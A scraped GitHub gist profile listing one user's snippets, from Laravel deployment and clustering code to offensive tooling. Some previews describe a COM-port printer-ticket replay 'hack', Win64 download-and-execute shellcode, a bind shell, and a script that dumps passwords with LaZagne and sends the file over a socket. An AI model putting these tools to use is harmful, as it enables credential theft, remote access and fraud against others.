Skip to content

Instantly share code, notes, and snippets.

View wildonion's full-sized avatar
💭
future.await;

dewo wildonion

💭
future.await;
View GitHub Profile
@wildonion
wildonion / deploy.md
Last active May 11, 2023 16:30
Laravel Deployment using Sail

🎈 Usage

Install Docker then deploy the project as the following.

🚀 Deployment

install requirements.

sudo apt install composer && sudo apt install php-xml && composer update
@wildonion
wildonion / SSL_SETUP
Created April 25, 2021 11:44
SSL setup on IMX6UL
==============
ON IMX6UL SIDE
==============
sudo mount -o remount, rw /
sudo openssl genrsa -des3 -out 19216821.key 2048
sudo openssl rsa -in 19216821.key -out 19216821.key
sudo openssl req -new -key 19216821.key -out 19216821.csr
sudo openssl x509 -req -days 3000 -in 19216821.csr -signkey 19216821.key -out 19216821.crt
@wildonion
wildonion / clustering.py
Last active November 21, 2020 12:24
k-medoids and k-means clustering algorithm
# ================================================================================================
# CODES FROM :
# https://pythonprogramming.net/k-means-from-scratch-2-machine-learning-tutorial/?completed=/k-means-from-scratch-machine-learning-tutorial/
# https://medium.com/analytics-vidhya/supernaive-k-medoids-clustering-31db7bfc5075
# RESOURCES :
# https://stackoverflow.com/questions/60077550/why-does-k-medoids-give-different-clusters-while-using-the-same-data
@wildonion
wildonion / hack_food.ps1
Created November 7, 2020 18:57
COM port hacking script
# allow powershell to run scripts
# find the printer port => Get-PrinterPort / $COMportList = [System.IO.Ports.SerialPort]::getportnames()
# create a virtual port pair printer and your virtual port using VSPD
# use your virtual port to ReadLine from printer port and save data into a text file
# then read all data from text file after one sec and WriteLine them to printer port
# BoOOOm U HAVE YOUR FOOD PAPER!!!!
# USAGE: ./com.ps1 > C:\temp\foodLog.txt
# -----------------------------
# GETTING DATA FROM COM PRINTER
@wildonion
wildonion / pn_combos.py
Last active November 19, 2020 09:43
total combination of phone number digits' chars
digit_letter = {2: ['a', 'b', 'c'], 3: ['d', 'e', 'f'], 4: ['g', 'h', 'i'], 5:['j', 'k', 'l'],
6: ['m', 'n', 'o'], 7: ['p', 'q', 'r', 's'], 8: ['t', 'u', 'v'], 9: ['w', 'x', 'y', 'z']}
digits = input("enter digits >>> ")
digits_list = list(digits)
assert 0 <= len(digits_list) <= 4, "length must be between 0 and 4"
digit_char = []
@wildonion
wildonion / de64.asm
Created October 28, 2020 20:22
penetration testing tooling codes
;
; dexec64.asm - 218+ bytes (unoptimised)
;
; Win64 asm code, download & execute file using URLDownloadToFileA moniker & WinExec
;
; tested on AMD64 running Windows x64 SP1
;
; there probably are errors in the code, but this is more of an experimental source if nothing else.
; send corrections or errors to: 'weiss' wyse101 [at] gmail [dot] com
; code is not optimised at all, doesn't contain null bytes, so is possibly suitable for testing exploits on win64
@wildonion
wildonion / cb.py
Created October 28, 2020 20:20
a simple bind shell script
#!/usr/bin/python
# bind-sehll
# TODO: add more feature and fix the bugs
# TODO: fire up netcat and type nc <target public ip> <port> to connect to target
import subprocess
import socket
@wildonion
wildonion / laz_c.py
Created October 28, 2020 20:19
simple project of sending laZagne app through socket
#---------------------------------------------------------------------------------------------
'''it'll save the passwords.txt on client machine then send it to the server
os.system("C:\Users\VOCFU\Desktop\laZagne_x64.exe all >C:\Users\VOCFU\Desktop\passwords.txt")
with open("C:\Users\VOCFU\Desktop\passwords.txt", "rb") as f1:
l = f1.read(1024)
while (l):
clientsocket.send(l)
@wildonion
wildonion / rmbot.py
Created October 28, 2020 20:15
a simple telegram bot to remove messages of a group
import telepot
import time
import urllib3
# https://www.pythonanywhere.com/user/wildonion/files/home/wildonion/bot.py?edit
# https://github.com/nickoala/telepot/tree/master/examples/webhook
# https://blog.pythonanywhere.com/148/
# http://telepot.readthedocs.io/en/latest/reference.html#telepot.Bot.getChatAdministrators
# TODO: webhook(flask/aio) - use new bot - start and stop button
@wildonion
wildonion / gfi.py
Last active October 28, 2020 20:25
a simple script to get the total followers of instagram
# https://github.com/LevPasha/Instagram-API-python/tree/master/examples
# TODO: time schedualing feature - use asyncio
# TODO: unfollow targets after a specific time from down to up with a delay time like 10 secs : i think we should use DB or file for this
from InstagramAPI import InstagramAPI
import requests , bs4, re, sys